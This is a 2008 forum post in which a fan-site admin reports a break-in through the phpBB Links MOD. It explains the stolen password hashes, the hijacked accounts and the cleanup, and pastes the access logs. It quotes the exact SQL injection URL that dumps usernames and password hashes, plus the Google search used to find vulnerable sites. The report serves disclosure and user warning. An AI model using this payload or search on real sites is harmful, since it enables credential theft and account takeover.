https://www.posetteforever.com/viewtopic.php?f=46&t=3136&p=38624#p38624 ----------------------------------- Tormie Friday, 15 February 2008, 06:50 PM Re: Hacked ----------------------------------- Update: I came home form work and I found that this was bad but it could be worse. The Hacker attacked the file links.php (no more existing...) using this code: [code linenumbers=false]http://www.posetteforever.com/links.php?t=search&search_keywords=asd&start=1,1+UNION+SELECT+1,username,user_password,4,5,6,7,8,9,10,11,12+FROM+phpbb_users/*[/code] [b]Edit: DON'T try that code now, I've just installed a security code and you will be banned on the spot!![/b] this resulted in giving him the list all the hashes of the password (encrypted passwords in the database) and thus building a session key and simply steal the user's identity. What he did and tried to do ? First he tried to access the administration control panel, but it has a double password (that is what saved us) so he could not deface the site and limited the attack to steal Andreas identity and to lurk in some profiles, actually the one of grouchocaesar trying to change things but was stopped by the antispam protection. So he went to the shoutbox and wrote something about the lack of security and how he was a good hacker and did nothing (actually sure he could have done damages with my account but he wanted to do something worse in the admin control panel). What I did ? He had ALL the encrypted passwords (all the passwords in the site are encrypted, not even I can know what is the original password, but knowing the encrypted password in the database one can build a link with a working session id) So I searched and found a tool to re-encrypt the password twice, this tools also prevents the use of the encrypted password to enter the site. the alternative would have been to ask EVERYONE to change password. Now, even if I changed the encrypted passwords, I suggest you to go to your control panel and change your password with a new one. I'll also chenage the password for the control panel with a new one and I'll send you the data with an email (if one steal your identity here he can go to this forum and simply see what the password is...) Plus, having the complete log, I already cintacted comcast but I'll contact the FBI in the USA too. More about this "phpBB Links MOD 1.2.2 Remote SQL Injection Exploit" can be found here: http://www.waraxe.us/ftopict-1916.html You can see that this autonamed "hacker" did only a simple cut and paste from a code someone else did. What he did is go to google and use this search string: allinurl:links.php he found us here (I can't see posetteforever now but it was one of the results) http://www.google.com/search?q=allinurl:links.php&hl=en&start=80&sa=N then he went to the site and applied the hack code above, next he searched for my nickname: [code linenumbers=false]30956 Anonymous 76.106.153.204 2008 Feb 15 06:42 profile.php (GET) - US - Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12 Page Page: profile.php Parameters: mode=viewprofile&u=2 http_referer: http://www.posetteforever.com/forum.php [/code] here he is "me": [code linenumbers=false]30958 Tormie 76.106.153.204 2008 Feb 15 06:43 index.php (GET) - US - Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12 Page Page: index.php Parameters: http_referer: http://www.posetteforever.com/login_PF.php[/code] The first thing he tries is to go to the admin panel (and it was stopped by the password protection) [code linenumbers=false]30966 Tormie 76.106.153.204 2008 Feb 15 06:45 index.php (GET) - US - Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12 Page Page: index.php Parameters: http_referer: http://www.posetteforever.com/adm/ [/code] Andreas was on the site so he went to see his account number (78) [code linenumbers=false]30970 Tormie 76.106.153.204 2008 Feb 15 06:47 profile.php (GET) - US - Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12 Page Page: profile.php Parameters: mode=viewprofile&u=78 http_referer: http://www.posetteforever.com/[/code] here he is "Ahjah" [code linenumbers=false] 30978 ahjah 76.106.153.204 2008 Feb 15 06:50 index.php (GET) - US - Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12 Page Page: index.php Parameters: http_referer: http://www.posetteforever.com/login_PF.php?redirect=index.php[/code] here he goes to Andreas preferences (please andreas check them) [code linenumbers=false] 31030 ahjah 76.106.153.204 2008 Feb 15 07:09 profile.php (GET) - US - Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12 Page Page: profile.php Parameters: mode=editprofile&cpl_mode=preferences http_referer: http://www.posetteforever.com/profile_main.php [/code] and that's all for now ...